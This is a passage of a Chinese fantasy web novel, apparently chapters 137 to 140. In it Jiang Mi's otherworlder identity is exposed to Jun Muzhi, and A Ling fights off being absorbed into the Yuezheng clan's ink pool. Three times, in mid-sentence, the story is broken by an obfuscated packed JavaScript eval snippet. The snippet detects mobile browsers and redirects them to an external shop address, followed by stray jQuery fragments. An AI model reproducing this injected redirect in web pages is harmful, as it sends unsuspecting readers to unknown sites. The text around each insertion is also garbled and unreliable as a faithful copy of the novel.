乐正绪不是傻子,相反,他很聪明,欧丰若敢挑拨离间,改日就离发配边疆不远了,他还有理智,没接话,但也不愿认输,嘲讽道:“你也就只敢搬少主出来壮胆。” 廖珮缨不准备和疯狗浪费时间:“我还有事,你请便。” 说着走出房间,乐正绪已经知道孙柏柔的存在,她得去地下确定孙柏柔还在。 欧丰觉得廖珮缨被他说中痛点,更不愿罢休,跟在她身侧细数她的罪证:“别以为你还能像以前那样。你仗着少主心思单纯,哄着他让你去找山河图,结果你故意拖延好几年,现在连君慕之的消息也敢隐瞒,女人就该有个女人的样子!” 廖珮缨轻掀眼帘:“你在教我做事?” 欧丰正欲开口斥责,体内母蛊忽然躁动起来,这是碰见子蛊才有的反应。 也在这时,迎面走来一女子,他以为是廖珮缨藏起来的人,正欲开口斥责,脖颈一凉,话再也没机会说出口。 · 两刻钟前,廖府。 沉重殿门之后充斥着无数发光的符文和流动的线条,最后一枚字符加入推演,从最开始的激烈撞击到趋于稳定,用了三日。 此时符文和线条缓慢流动运转,带着某种韵律循环往复,如同夜幕之上永不坠落的星海。 身穿华服的老人坐在中心,银白发丝垂下几缕,她无心梳整,缓慢睁开的双目在微光下浑浊而苍老。 她注视着新的平衡,庄肃的面容终于露出一丝笑。 老人缓缓起身,太久未活动的双腿犹如硬石,她蹒跚着穿过符文推开殿门,阳光斜射,身后的微光被外界光芒吸收般一一崩碎,犹如一场无人观赏的盛大烟火。 老人走过八十一层台阶,绕过祭台,从内向外推开大门,守门的仆人呆滞一瞬,看到老人缓慢走出时语气是压抑不住的惊喜:“老夫人,您终于出关了!” 廖珮缨离开后廖府大做调整,许多在廖府服侍了多年的仆人被遣送出去,招收大量新仆人。 这两人从前只在厨房帮衬,这几天被调来这里看门。 廖家祖母抬眼,点点头继续往外走。 江弥看着廖愈喝完药,思索着今天要说点什么,还没开口就听见许多脚步声和说话声,转头看向门边,廖家众人逐渐出现。 最近忙于整顿廖家的三姑喜形于色,他身后是孙柏柔四叔,面上也带着喜色,大伯则神色幽怨,还有她这几日才认清的管家理事等人。 一大帮子人簇拥着一位老人走来。 “娘,您脸色不太好,是不是先歇息再说?” “娘终于出关了,你不知道外面发生了多大的事,您怎么能——” “闭嘴吧你,还有脸说,要不是你纵容珮缨会发生这种事?” 老人轻抬手掌,吵闹声纷纷停息,她走向床边,三姑伸手要扶,老人摆手拒绝。 江弥以为这位廖家祖母要看廖愈,和君慕之退到一边,刚走两步,那老人径直走到她身前,轻怕她的肩膀,力道轻柔慈和。 许久未说话的嗓子低哑涩然,江弥反应片刻才听出。 她说:“好孩子,不要怕。” 江弥以为她将自己当成孙柏柔:“我是廖伯柔的朋友,我叫江弥。” “我知道你,”廖家祖母笑着说,“你叫江弥啊。” 对方口中这么说,江弥却感觉后面这话的语气不像是知道她的样子,倒像是觉得她不叫这名,亦或者知道她的存在但没见过她。 “娘……”廖愈撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317848|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐起,看到老人也很开心,正欲再说什么,老人止住所有的话:“我同这孩子说说话。” 身后几人面面相觑,还是三姑主动将人往外赶,她犹豫着看了眼江弥身旁的君慕之,老人说:“他无妨,把你二哥也带出去。” 还没开心多久的廖愈:“……” 等到屋内只剩三人,老人先是朝君慕之垂首:“君少主的才智和气魄远超其他少主,老朽佩服。” 君慕之颔首。 江弥感觉这两人在打哑谜,刚想等会儿要不要问问君慕之,老人便转向她:“廖珮缨是异世者。” 江弥有些惊讶,却又在心中恍然。 为什么廖珮缨无法识字,却在某一天重新知获所有字,因为异世者天生就受到字灵认可,江弥除外。 为什么廖珮缨突然背叛廖家,却又在山河图的事情上拖延,因为她不能被廖家发现身份,只能用更大的事件遮掩耳目,却又在接触到乐正氏后发现那里更加浑浊。 只是老人为什么要告诉她这些? 老人没有解释她的疑惑,她说出第二句话:“你们没有错,是神蒙蔽了世人的眼睛。” 江弥心头一跳,这话指向意味太明显,她甚至还没想出办法反驳,老人说出第三句:“孩子,不要怕,你是所有变数的源头。” 说完老人转身,她的步伐更加缓慢,每一步都颤颤巍巍,打开门的那瞬,老人再也支撑不住向前栽去,守在门口的几人慌张接人大喊。 不知谁说了句“老夫人没气了”,各种惊慌嘈杂声炸开。 而几步之远的江弥却如坠冰窖。 她是异世者。 君慕之知道了。 也在此时,身处金明殿的阿玲杀掉欧丰,无形的压迫在空气中浮现。 阿玲最担心的事情还是发生了。 她可以在乐正绪抓到她之前摔碎玉牌离开。 但孙柏柔还在等她。 孙柏柔必须离开。 唯一的破解办法只有廖珮缨。 可传送玉牌落到她手上,她不一定会带孙柏柔走。 怎么让她立即离开,还带上孙柏柔。 阿玲飞速思考,廖珮缨的破绽…… 所有廖家人只以为她在和欧家合作,从没想到乐正氏头上,那刚穿越不久的廖珮缨从哪里知道自己身上有乐正氏血脉? 有人告诉她。 她在脑海里牵出廖珮缨的关系网。 廖家祖母,乐正绪,乐正婉儿,欧家人,邵安,异世者…… 廖珮缨接触过天音! 天音,池家,造神计划。 项昭昭,守望军。 暮云,皇室,九皇子登基。 死神…… 苏与商,天诛院,天机。 之所以能确定苏与商的身份,是因为苏与商和天音对阿玲的方式几乎一模一样,他们都在试图告诉些她什么,天音引导她发现101神,苏与商让她知道天机的存在。 青花邀请她失败后并没有放弃,他在用另一种方式倒逼她做选择。 天涯路的成员神秘而强大,每个人都在某一方势力中起着重要的作用,那么廖珮缨呢? 廖珮缨……乐正氏。 很符合天涯路的手段。 引导廖珮缨走入乐正氏的人是青花! 推测逻辑并不严谨,但事到如今,她只能赌一把。 思索不过片刻,阿玲走到垂眸静立的廖珮缨身后,抬手擦去她脖颈血水,低声道:“乐正绪失去耐心,你很快会落到婉儿的下场,青花让我带你离开。” 她强调:“我不知道你对君少主做了什么,他正在暗中追杀你,带上孙柏柔,她会是你的保命手段。” “你们在西殿后方等我,”阿玲将玉牌塞她手里,“一个时辰后我没出现,你们摔碎玉牌离开这里。” 护卫和暗卫从四面走出,欧砚走在最前方,他扬声道:“玲小姐,少主有请。” 阿玲深吸口气,同欧砚离开。 138. 138 欧砚在前方领路,见阿玲没有反抗的意思,让暗卫和部分护卫散去。 阿玲能感知到这些人没有真的离去,而是在暗中监视,一旦她有异常动作就会立即现身。 阿玲询问:“少主找我什么事?” 欧砚:“见到少主就知道了。” 见问不出什么,阿玲不再浪费口舌,随欧砚七拐八绕地穿过殿群,此时修葺宫殿的人撤散,空寂无人,残损的殿群在日光下显出几分颓败。 阿玲被带到一处完好的宫殿前,欧砚将她带到门口就不再上前,只让阿玲独自前行。 她以为乐正绪在里面,进入后只有满目空旷和寂静。 “玲小姐,这边请。” 阴影里忽然有人出声,阿玲这才发现有人,对方低眉躬身,童子打扮,神出鬼没,说完便在前面带路。 寂静的宫殿内只有脚步声。 接着是一次次打开房门,道路不知何时开始向下,再次推开一道门时,地面出现一条向下的通道,火光从出口向里蔓延,犹如两条长长的火龙。 通道铺满玉石,火光明亮,身处其中不会有丝毫压抑憋闷。 两人沿着台阶往下,下到最后一层时眼前豁然开朗,阿玲以为这里也会是玉石铺就,意外的是,所见之处全是木质,一如内便能闻到陈年木香。 宽阔的四面墙做成书架的样子,大大小小的卷轴放了一层又一层,地面也凌乱地铺了很多展开的卷轴,几个童子正跪在地上整理。 正中央有一口池子,很大,阿玲走进时看到里面全是乌黑的墨水,乐正绪站在池旁,长长的袖子顺着边沿垂进墨池,她听到窸窸窣窣的声响,像是密密麻麻的小虫子在爬行。 走近了,这种声音越发明显。 “退下。” 乐正绪说完,收拾卷轴的童子放下手中卷轴立即离开,待只剩两人,乐正绪提起袖子,转身望向阿玲,神色愉悦:“知道这是什么?” 阿玲:“墨池。” “不错,这是墨池。”乐正绪打量着她,“知道为何叫你来这里?” 阿玲木着脸满足他的倾诉欲:“为什么?” 阿玲等来的不是他的回答,而是甩袖而出的黑线。 掺杂金色的黑线仿佛灵动的细蛇,从四面八方包围收紧,试图将她绞缠在中间。 乐正绪的动作很快,阿玲拔雪麟已来不及,她面色微沉,握住剑柄的食指微动,闪动跳跃的电弧在她周身展开,同绞缠而来的黑线碰撞,炸出噼里啪啦的火光。 黑线来得快去得也快。 交锋很快结束,阿玲没有收回“蛰雷”,抽出雪麟随时准备进攻。 乐正绪却收敛所有攻势,他指着墨池兴奋道:“看到了吗?它因为你活过来了!” 阿玲谨慎地盯着乐正绪,确定他不再攻击,侧目望向墨池。 黑色涟漪在水面一圈圈散开,撞到冰冷的黑玉池壁又震荡回来,来回交叠,形成鱼鳞形状的波纹。 阿玲看了一眼便收回视线。 乐正绪见她表情毫无波澜,觉得她不知道这意味着什么,好心解释:“‘字’将重新回到乐正氏手里,我们会快会诞生下一个‘仓圣’,能成为其中最重要的一环,你应该感到荣幸!” 阿玲面无表情看他,也就是说,他没有发现自己不是乐正氏血脉,但还是决定牺牲她。 真是冷血啊。 阿玲:“这和我有什么关系?” 乐正绪情绪激昂,这个问题正好撞到他的表达欲上,他手掌轻抬,满地卷轴分别向两边飞去,本来就凌乱的地面更是不能看,半晌,他终于找到自己想要的,将抓在手里的卷轴展开,上面只停留三段话。 “这是姬月生发来的,他说你是乐正氏的子嗣,你们当时动手了吧?还有这里,你跟踪婉儿使用字的力量,二弟逼你出手时,这几次墨池都动了。” 乐正绪将卷轴摊开扔到她面前:“几千年了,我们先祖一直在寻找延续力量的办法,他们用墨血造就这方墨池,只要乐正氏的血脉还在,墨池就能一直延续下去。” 乐正绪站在池边背手而立,目光望向墨池,仿佛在讲述一个家族的苦难史。 “但它在剥夺‘字’的力量。” 阿玲听到这句话终于有点反应。 “它”是字灵吗? 乐正绪继续道:“我们只能用更多墨血争取控制权,但近几百年乐正氏人口锐减,这种办法不再可行,我们面临新的问题,墨血正在流逝,族中子嗣减少,新诞生的神血浓度太低……” 他的未尽之意阿玲已经听懂,他们选择族内繁衍,让男人成为燃料,女人成为母体,以此留住神血。 乐正绪停顿很久,大概是想到他可怜的母亲,又或者在回忆他得知真相时的震撼。 “我们开始造神。” “长恩是仓圣随手携带的神卷,神品有灵,在上万年的巨变中损毁。它在墨池蕴养数百年,又在大术院经历无数问题的洗练,开始恢复意识。” 乐正绪转过身,他的眼珠极黑,盯着人看时有种轻易看穿一切的感觉。 “意外降临,长恩没有成功完成最后一步。” 阿玲觉得她在等自己表态,想了想:“很可惜。” “是很可惜。”乐正绪道,“君氏向外扩张,几乎掌控半个修真界,姬氏从不担心子嗣问题,至于阴氏,他们出世就是一场灾难,没人主动招惹。只有乐正氏,没有神,子嗣凋零,只能龟缩在这种地方。” 听他将自己说成小可怜,阿玲只觉得这些人有什么喜欢装惨的大病。 “终于,我们迎来了转机,你得到‘它’的认可,”乐正绪含笑望向阿玲,“你将代替长恩,成为‘字’的意识,你会成长成新的仓圣,乐正氏的新神。” 但阿玲始终警惕神色看他,没他想象中的反应:“你看上并不惊讶。” 阿玲:“如果你能做点正常的事,可能会惊讶到我,比如问我愿不愿意做你们这个新神。” 乐正绪感兴趣问:“你不愿意?” 阿玲抬手拿剑指他:“我若成新神,第一个灭的就是你们。” 乐正绪展开双臂,袖子变长垂在地面,无数细小的黑线从袖子爬出,朝着阿玲的方向极快涌来。 他带着势在必得的笑:“墨池汇聚所有乐正先辈的意志,在你融入墨池前,我会先一步洗去你的记忆。” · 嘈杂的哭嚷声远去,廖愈没有回来,应该是找了其他房间休息。 半开的房门被打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327569|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算询问却发现气氛异常的三姑带上,屋内只剩两人,四周萦绕着淡淡药味。 廖家祖母倒下后江弥一直僵持着没动,但五感却异常敏锐,她的所有感官都关注着君慕之的一举一动。 君慕之那么聪明,肯定从廖家祖母的话中猜到了。 他会怎么做?询问还是动手?亦或者当做什么都没发生,维持目前的平衡? 她在心里思索自己该怎么应对他的不同反应,最好是保持现状,发展不了感情就当做互助互惠的小伙伴。 最坏的结果不过同归于尽。 她不愿发展到这种地步,但君慕之很纯粹,很难说他不会因为感情被骗无法忍受怒而杀人。 她也不怕。 凝血丸总会用完,她若死了,君慕之也活不久。 拉一个垫背的也不错。 江弥忽然抬眼看君慕之,他动了,没有动用神术,他在走向她,清冷俊美的面容没有太多表情。 江弥看不出他心中所想,大多时候她都看不出,都是连蒙带猜,那是平时相处的小情趣,可以给感情升温。 但现在不行。 她抬手阻止:“站在那里别动。” 君慕之没有听她的,又往前走了两步,江弥忍不住后退,再次低声警告:“我说了,你别动。” 君慕之平静看她,步伐向前。 忽的,星辰之力飞出击中君慕之,江弥以为他至少会抵挡一下,但他什么都没做,星辰之力将他击退几步,本就浅淡的唇色一下子变白。 他仍在走向江弥。 星辰之力萦绕在手心,一触即发,可君慕之没有使用任何力量,江弥就只能后退避让,她皱眉询问:“你要做什么?” 君慕之不语。 江弥看着越来越近的距离,一面在心中计算他出手的话自己来不来得及反击,一面往后退保持安全距离,但很快她退无可退,后方就是墙壁,君慕之仍在前进。 江弥看着他逼近,某一刻积蓄的力量瞬间爆发,速度极快地抬手掐住他脖子,将君慕之大力压在墙壁上,发出一声嘭响。 星辰之力在指间缠绕,随时绞碎手中脆弱的咽喉。 此时的江弥散发出非常强的压迫感,眼神冰冷,看他的目光也很陌生。 “你想做什么?” 刚才那一击让君慕之双眼发红,他垂下眼睑,红着眼睛看她,跟要哭一样,毫无攻击力。 垂下的手指微动。 江弥察觉他的动作,星辰之力暴躁压上他脖颈皮肤,雪白肌肤上划出几道血痕:“别乱动,回答我的问题。” 君慕之被凶也没生气,他低声说:“对不起。” 江弥怔然,这种时候道歉,怎么都不对吧?我都这么凶了,就算道歉也该是我开口,你道什么歉? 君慕之的手轻轻抓住她的,这是两人都熟悉的姿态,有一瞬江弥想回握,但也只是片刻的念头,她的另外一只手还牢牢掐住他的脖颈。 她收敛所有情绪,君慕之的反应都不在她设想中,她只能沉默地看他。 君慕之握了握她的手,脖颈伤痕溢出鲜血,在半空中化作明亮的金色小字。 那是两人签订的神契,只有四个字—— 生死与共。 139. 139 江弥不信任任何人。 她对天音有强烈的杀意,死神和青花也在她的死亡名单上,他们都知道她的异世者身份。 现在又多了一个人,君慕之。 但他是特殊的。 江弥给自己设想的后路是君慕之,他终究会知道自己的身份,但这个时间应该更远,或许是某次和青花对峙,亦或者天音出现在大众视野时,那时的她有足够的时间让君慕之更加喜欢她,更加舍不下她。 可廖家祖母的一句话让她无所遁形。 她手掌下是君慕之的咽喉。 如果君慕之有反抗意愿,她杀不了他,甚至连接近都无法做到。 江弥心情复杂地看着金色小字消失,收回手后退,但君慕之拉着她的手没放,她只退后两步停下。 脖颈压力骤消,君慕之侧脸轻咳了下。 江弥清晰地看到血顺着皙白脖颈流下,将衣领染红。她感觉也没怎么用力,这样小的伤口应该很快凝固,但就是怎么都止不住血。 握了下手,是湿润的。 她说:“君慕之,说话。” 君慕之的眼睛泛红:“神契的内容,你知道了。” 生死与共,江弥死,君慕之也无法活。 这是他的回答。 江弥皱眉,她不觉得这事会这样轻易揭过,神契的承诺是她想要的,却是她千方百计谋来的,既然知道她是异世者,那就该知道她做这一切是带着企图的。 这是一场不怎么高明的骗局,明眼人都能看穿。 然后呢,不生气?不发怒?不指责她居心叵测别有用心? 在江弥狐疑的注视中,君慕之上前抱她,没给江弥反应时间,动作缓慢而强势,怀里的人再次炸毛,星辰之力在两人间游走,变成巨力将他推开。 如果君慕之想,她的一切攻击在他面前都不起作用。 他抱住她没有动。 江弥只好拿手推他,君慕之低声说:“你是怎样的身份不重要。” 江弥一顿,在他怀里仰头,直直望进他眼睛:“异世者也不重要?” 君慕之:“不重要。” 江弥忽然愤怒起来:“异世者会带来混沌,引发无辜死亡,整个修真界都无法容纳异世者,这没关系?” 君慕之低眉说:“没关系。” 她不知道自己的愤怒从哪里来,按理说君慕之不排斥异世者她该高兴的,只要不再提这个话题,两人就可以维持之前暧昧良好的氛围,她该闭嘴。 但江弥停不下来,她因这个身份恐惧了七年,未知的危险追着她跑,她一刻不停地前进,每个知道她身份的人她都想杀掉,即便从理性分析,对方可能不会暴露她。 就是在此刻,她暴露异世者身份,也从不敢让“我是异世者”从她嘴里说出,这句话像是个危险的信号,会打破她最底层的防线。 “如果异世者不重要,那他们是什么?” 他们一无所知的降临,被逮捕、被追杀、被囚禁、被折磨,只有少数能通过层层筛选活下来,活下来的也只是如同老鼠四处逃窜,提心吊胆,惶惶不可终日。 他们是什么要经历这些? 我又为什么要经历这些? 江弥发出愤怒的质问,却连质问对象都不知道是谁。 君慕之说:“异世者,是棋子。” 江弥没想过会得到答案,她只是在发泄,君慕之刚好知道她的身份又站在她面前,成了倒霉的发泄对象。 异世者是棋子,什么意思? 江弥的满腔愤怒变成茫然,谁的棋子?什么棋子? 还没理解这话,这种茫然蓦地变成尖锐的痛楚,变故发生得太突然,江弥痛得几乎蜷成一团,好似有一只大手在她脑海里翻来倒去,她的意识在被剥夺。 君慕之单手揽住她不让她滑下去,低声询问,但江弥痛得无法回答。 痛楚来自阿玲。 开始,无数黑色细线只是从乐正绪的袖子爬出,化作细蛇源源不断进攻,阿玲用炼化的古字抵挡。 字与字之间的碰撞和其他力量攻击不同,它们没有剧烈撞击后的冲击和余波,而是无数小场景在地下空间发生扭曲和转变。 “生存”变成“捕食”。 “捕食”变成“震慑”。 “震慑”变成“害怕”。 字的含义、形状、场景在被模糊,消解,丢失,每个字都有其对应的意义和力量,它是精准的,确定的,被所有人认可并继承的。 人们在说话时用词不同含义会有微妙变化,观念在表达时会丢失部分语义,但字是锚点,表达不准确能用多种方式来阐述和解释,补全丢失的部分。 但字与字的冲击下,这种精准被模糊,意义消解,语义丢失,字的力量被另一个字扭曲替换,力量在消失。 无数字在碰撞,大大小小的场景绽放或湮灭,就像无数粒子的撞击。 散落在各处的卷轴轻轻颤动,被神力定格的黑字奋力挣扎,它们挣脱纸面,犹如长蛇爬向自己的巢穴。 窸窸窣窣,窸窸窣窣。 墨池里无数黑字顺着乐正绪的黑色袖子爬上来,又通过另一只袖子化作细线爬向阿玲。 不用乐正绪控制,如同每次阿玲使用力量它们给与回应那样,它们在渴望阿玲。 木质地面被一汪黑色流水覆盖,它们向阿玲聚拢,将她包围,密不透风。 窸窸窣窣,窸窸窣窣。 阿玲被捆成一只黑色的茧。 乐正绪看着阿玲挣扎不已,含笑开口:“不要挣扎,你的痛苦会少一点。” 阿玲冷冷看他,下秒,无数黑线化作细针扎入她太阳穴,仿佛某个意识进入她的脑海,降临的一瞬疯狂摧毁。 她的灵魂正在被撕成碎片,来自灵魂深处的痛苦让她失声尖叫,此时她的意志和思想没有丝毫作用,她像一只被拔掉所有利刺的刺猬,任人宰割。 乐正绪心情愉悦地看着阿玲被拖入墨池,水面起伏不定,浅黄色羊皮纸从他衣襟飞出,巴掌大小的纸张变大,覆在墨池之上。 地面之上,天地陡然巨变,晴朗天空被阴云密布,雷霆积蓄,仿佛暴雨随时降临,然而这场雨没下下来,某一瞬乌云快速散去,天空恢复湛蓝之色。 金明殿走动的各人抬头看这奇象,纷纷猜测是不是即将发生大事。 山河图的百无禁忌,是屏蔽外界所有存在的探知,禁忌和窥探在这里不存在。 乐正绪站在满地空白卷轴中,等待着一切既定。 · 剧痛持续不断,阿玲无法思考,无法移动,她仿佛变成透明色,浓烈的黑在她体内延展。 她的意识在不停下坠,游荡在她身边的黑色化作丝线压在她脖颈上,躯体上,四肢上,它们拉着她向下,她看不到,却觉得自己的皮肤也在变黑。 她在被同化。 她动了下手指想拉住什么,黑线缠绕上来将她下拉。 世界只剩下黑色和痛楚,细微的思考不过片刻便被痛苦覆盖,无力抵抗。 就在她以为要化作黑暗的一部分时,下坠忽然停止。 手腕传来一股力量将她往上扯,和压住她的黑线角力,平静游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344405|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的黑变得躁动,阿玲像是被海底暗流卷入,巨力要将她拉进无尽深渊。 她被始终牢牢抓住。 阿玲睁眼看见细小的光点跳动,那是一条被暗影分割成无数段的金线,夹杂着细微的红色。 君慕之。 阿玲从浑噩中醒来,她挣扎着抓住金线,无形的力量穿过万里为她驱散黑暗,拉她出深渊。 阿玲奋力挣脱黑色暗流,但这里是字的海洋,挣脱一个很快又卷入另一个。 对付字,只能用字。 左手被黑线拉扯无法动弹,阿玲松开金线,身体往下沉了点。 仿佛怕她再一次下坠般,手腕的力道加重,金线陷入手腕皮肤,鲜血顺着金线向上蔓延。 阿玲无暇顾及这些,右手得到释放,对字的熟练让她只是滑动便有古字浮现,一枚又一枚,无穷黑暗里浮现的星辰,熄灭和点燃在同时发生,黑暗一点点驱散。 她的身体变得轻盈,金线拉扯下她飞速上升,即将脱离的一瞬,无数声音在她身体中响起—— 留下来。 留下来留下来留下来留下来…… 她的身体在上升,灵魂却在下坠。 那一刻,她进入到另一个世界,无数黑字化作星环在她身边环绕,它们在她面前变幻,无数种组合将字交织成无数条信息—— 没人知道祂来自哪里,所有神灵都有起源,祂没有。 星辰为什么会发生变化? 君氏诞生出一名子嗣,他拥有最强血脉。 为什么说我还会遇到她很多次,下一次是什么时候?我想明天就看到她,我还没来得及跟她说,再次见到你,我很高兴。 阴氏子嗣又疯了一个。 今天阿彪哥又带回一名同伴,谁说话他都不信不听,新人都是这样子,我当时也是,但是老徐解释了十遍他还是不信,气得让阿彪哥给他一拳。我在一旁看得脑袋疼,因为当时阿彪哥也给了我一拳,但是老徐只和我解释了九次,是不是说明老徐的耐心有长进了?可喜可贺!天涯路小家庭已经壮大到十九人,大家都在开发自己的能力,我们一定能好好活下去!啊,差点忘了,小青姐让我去东坪西给她买西饼,啊啊啊啊,小青姐毒舌起来阿彪哥都怕!不写了不写了,明天再来。 …… 无数条信息在眼前飞速变化。 君慕之曾经说过,乐正氏没有书,只有字。 这是他们记录历史的方式。 看到的信息越多,那股强行留下她的意志就越强烈,她的灵魂和她身体的联系正在变小。 相隔万里的灵魂另一端也感受到这股力量。 江弥感觉有一只无形的手想要将她从这具驱壳里剥离出去,她颤抖着睁开眼,君慕之脖间的鲜血化作细线缠绕在她手腕上。 君慕之将她抱得很紧,他的额头逐渐浮现黑纹,但他无暇在意,低头将额抵住江弥。 他低声说:“不是说带我去看你的星河?现在带我进去。” 她才刚暴露身份,君慕之还没被她划定成安全,下意识的抗拒让江弥想后退,君慕之没等她说话,淡淡绿光从两人相抵的地方溢出又渗入。 剧痛的大脑被一股清凉舒适气息包裹,江弥的抵抗变得微弱,金红色细线仿佛最好的方向,君慕之循着神契的指引站在了两方世界的交界。 他的脚下星河流转,代表神契的两条金红色细线从他身上向两边蔓延,连接了神台和仙梯。 左边神台被无形的力量强行聚成九层,右边仙梯摇摇欲坠,明亮的空间罅隙丛生,黑色字体犹如锈迹爬了上来。 140. 140 墨池是乐正氏先辈们用自己的鲜血铸就,他们死前所有的念头是掌控字的力量,无数人的执念在墨池汇聚。 江弥曾在死灵界见过执念,只是被隔着河岸注视都让人毛骨悚然。 现在这些执念自深处而来,凝练成一股,另一端牵扯住阿玲,牢牢的,无法挣脱的。 每一个执念都在重复—— 留下来。 一条又一条长短不一的黑线在她面前展开,那是书上的一句话,记录的一个历史事件,写给某人的信,无意写下的心事,某些学者的质疑。 在字的海洋里随手打捞,洒下的是无数时光碎片。 人的意志会在时间里磨损,也会拜倒在更强大的意志下。 阿玲的抵抗在一次次看到信息时逐渐减弱,与此相反的是,她的力量陡然攀升。 这种力量和她炼化古字的方式不同,黑字组成的信息在她面前呈现时,同样的黑字会出现在她的识界,成为她力量的一部分。 黑字组合成黑色线条围绕她旋转,黑线越来越多,最好形成黑色星球和黑色星环。 她能感觉到神台在凝练新的台阶,仿佛按了快进键,第八层,第九层,她的修为达到神台极限,乐正绪说要让她成为乐正氏的新神,她正在完成这一步。 她的个人思绪在庞大的信息流和强大的意志里变得渺小,她很难听到自己的声音,她听从耳边的声音,留下来,她要留下来。 她要成为乐正氏的神。 这个念头诞生的同时,一颗生机勃勃的绿色光团忽然冒出,像是一条正在逆流而上的小鱼,跨越黑字组成的障碍时有小团小团绿光从它身上掉落,到阿玲面前时胖胖的身体小了一圈。 它一头撞向阿玲额头,带着气愤和生机,像是将某些不属于她的东西也一同撞出。 接着第二颗,第三颗…… 模糊的思绪逐渐清晰,阿玲感知到那是让她失去挣扎的思想禁锢,这里的所有黑字都附着了乐正氏的意志。 它们悄无声息地影响着她。 又一颗绿光吭哧吭哧跑来,阿玲伸出食指点了下,轻声说:“告诉君慕之,我马上回来。” 那团绿光又吭哧吭哧游到没有黑字的地方,小指盖大小的身体消失不见。 阿玲产生离开的念头时,安静围绕在她身边的黑线再次狂暴,阿玲经历过一次,便不会再被困住第二次。 她的神色变冷,身侧是同样的黑线环绕,只是这次是她的力量。 · 乐正绪手指轻轻敲动着,心情很愉悦,他在回忆乐正氏曾经的辉煌。 ——仓圣陨落力量却不曾消失,祂是最伟大的神灵。 ——是仓圣让这个世界有了文明。 ——仓圣因乐正氏子民的忠诚赏赐他们无穷的力量。 这是乐正氏子弟从小接受的教导,有些是夸大其词,有些确有其事。 但在新的“仓圣”诞生后,这些都会成真。 墨池忽然传来震荡,羊皮纸也跟着颤了颤,乐正绪皱眉,不该这么快,第一步融合预计两天,成为真正的神需要和“它”抢夺字,也是一段长久战。 山河图一旦揭开,这里的气息无法遮掩,墨池会成为第二个长恩。 再等等。 但墨池的震荡越来越大,羊皮卷像是压不住底下的东西鼓胀又收缩,木质地板跟着颤动。 这个动静不对。 乐正绪踟躇着没动,脑海思索可能出现的问题。 剥夺乐正玲的记忆,乐正玲融合先辈留下的意志,吸收墨池的力量。 剥夺记忆只要让她陷入混乱,这步是最容易的。 墨池里融合所有乐正氏死去的鲜血,里面有无数先辈意志,她很快会被同化成其中一员。 吸收力量这步有问题?她无法快速吸收这么多力量? 乐正绪正思考着,忽觉脚下有什么东西蠕动,低眉看去,黑色水流正在向外蔓延,他心头一跳,就见山河图被顶起来一角,源源不断的黑线爬出来,像溢出的水扩散开来。 怎么回事? 乐正绪抬手一挥,却发现这些字压根不受他控制,意识到大事不妙,他收回山河图,没了压制的力量,墨池犹如喷涌的泉水,无数黑水朝着四面八方飞溅奔跑,像是在躲避墨池下的什么东西。 被山河图阻隔的天象在此刻显形。 乌云再次遮蔽天空,雷霆闪烁,巨雷劈下,金明殿中心的宫殿被劈开,地面裂开一条缝隙。 这只是开始。 无数雷霆连绵不断地劈向裂缝,像是上天在发怒。 西殿无人居住,此时两人站在宫殿后方沉默对峙。 头顶紫电劈下时廖珮缨含笑道:“终于遭报应了。” 孙柏柔蹙眉,乐正氏倒霉是最好,她更担心阿玲,一个时辰快要到了:“她会不会有事?” 廖珮缨:“她能成功脱逃的概率很低,我倒是不介意等等,但不会多停留一刻。” 孙柏柔看她的目光变得陌生:“阿玲是为了让我们离开才陷入困境,她本可以摔碎玉牌自行离开。” “那是她的选择。”廖珮缨说,“我从不考虑旁人如何做决定。别忘了,你是我的人质,你怀里的孩子已经是我的极限,所以你最好别让她出声。” 天边雷声炸响,婴孩下意识张嘴要哭,孙柏柔抬手点在小孩几道穴上让她无法出声,她低眉轻声安抚无声哭泣的婴儿。 待婴孩含着泪水睡着,孙柏柔担忧地望向天空。 希望她能及时赶来。 · 阿玲即将脱离墨池时忽然停住。 她感知到了某个存在,无法描述,无法证实,像是一抹幻觉,又像是某个想象成真,她无法回想起细节,在回忆里寻找时发现“它”是一颗眼珠,再次回想又变成通红的烈日。 “它”没有完整的形象,却牢牢刻印在脑海里。 和101神不同,101神能通过缠绕在她身上线条看到。 “它”存在又不存在,阿玲看到“它”,更像是感知到,而非肉眼看到,那种目光交接仿佛灵魂上的遥遥一望,只有一瞬就令人颤栗心悸。 她得到某种启示,获得的一瞬便被模糊。 她有预感,在未来的某个时刻,启示会被激活。 她以为乐正绪口中的“它”是字灵,但不是,“它”比字灵强大无数倍的存在。 天地无主的字灵被“它”掌控,乐正绪想要她从这样的存在手里夺走“字”。 也在同时,她想起君慕之说的棋子。 如果异世者是棋子,她毫不怀疑,执棋人是“它”这样的存在。 